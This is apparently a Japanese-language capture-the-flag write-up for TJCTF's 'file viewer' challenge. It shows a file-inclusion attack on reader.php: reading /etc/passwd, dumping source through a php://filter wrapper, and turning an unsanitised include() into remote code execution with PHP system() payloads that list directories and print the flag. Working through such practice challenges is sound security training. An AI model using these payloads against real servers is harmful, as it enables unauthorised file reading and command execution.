Written by saisree
So I've been developing this really cool site where you can read text files! It's still in beta mode, though, so there's only six files you can read.
http://file_viewer.tjctf.org/
Hint: The flag is in one directory somewhere on the server, all you have to do is find it...Oh wait. You don't have a shell, do you?
ファイルが閲覧できる。ファイル名を入力すると対応するファイルが見られる。
/reader.php?file=apple.txt
みたいなURLになっている。
ディレクトリトラバーサル、LFIかな?
調査過程で分かること
- x-powered-by: PHP/7.2.31
- 超最新
- /usr/sbin/apache2
LFI
とりあえず、色々試してみる
/reader.php?file=/etc/passwd
- いつものやつ。ちゃんと出てくるが、特に気になることはない。
/reader.php?file=php://filter/convert.base64-encode/resource=index.php
- ダメ
/reader.php?file=php://filter/convert.base64-encode/resource=reader.php
- 出てくる。抜粋すると以下のような感じ。
php <?php $file = $_GET['file']; include($file); ?>
- 出てくる。抜粋すると以下のような感じ。
ん?include?
外部からphpコードが差し込めそう。
RCE
<?php system("ls -la ./"); ?>
このファイルを用意して、外部で差し込む。
dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 . drwxr-xr-x 1 root root 4096 May 15 12:41 .. -r--r--r-- 1 root root 44 May 18 15:32 apple.txt -r--r--r-- 1 root root 74 May 24 15:12 grape.txt dr-xr-xr-x 1 root root 4096 May 24 15:12 i_wonder_whats_in_here -r--r--r-- 1 root root 3012 May 18 15:32 index.html -r--r--r-- 1 root root 27 May 18 15:32 orange.txt -r--r--r-- 1 root root 49 May 18 15:32 pear.txt -r--r--r-- 1 root root 27 May 18 15:32 pinneaple.txt -r--r--r-- 1 root root 2532 May 18 15:32 reader.php -r--r--r-- 1 root root 22 May 18 15:32 watermelon.txt
成功してますね。i_wonder_whats_in_here
という謎のディレクトリがある。
<?php system("ls -la ./i_wonder_whats_in_here"); ?>
dr-xr-xr-x 1 root root 4096 May 24 15:12 . dr-xr-xr-x 1 www-data www-data 4096 May 24 16:07 .. -r--r--r-- 1 root root 47 May 24 15:12 flag.php
ほうほう。
<?php system("cat i_wonder_whats_in_here/flag.php"); ?>
<?php // tjctf{n1c3_j0b_with_lf1_2_rc3} ?>
Capture The Flag.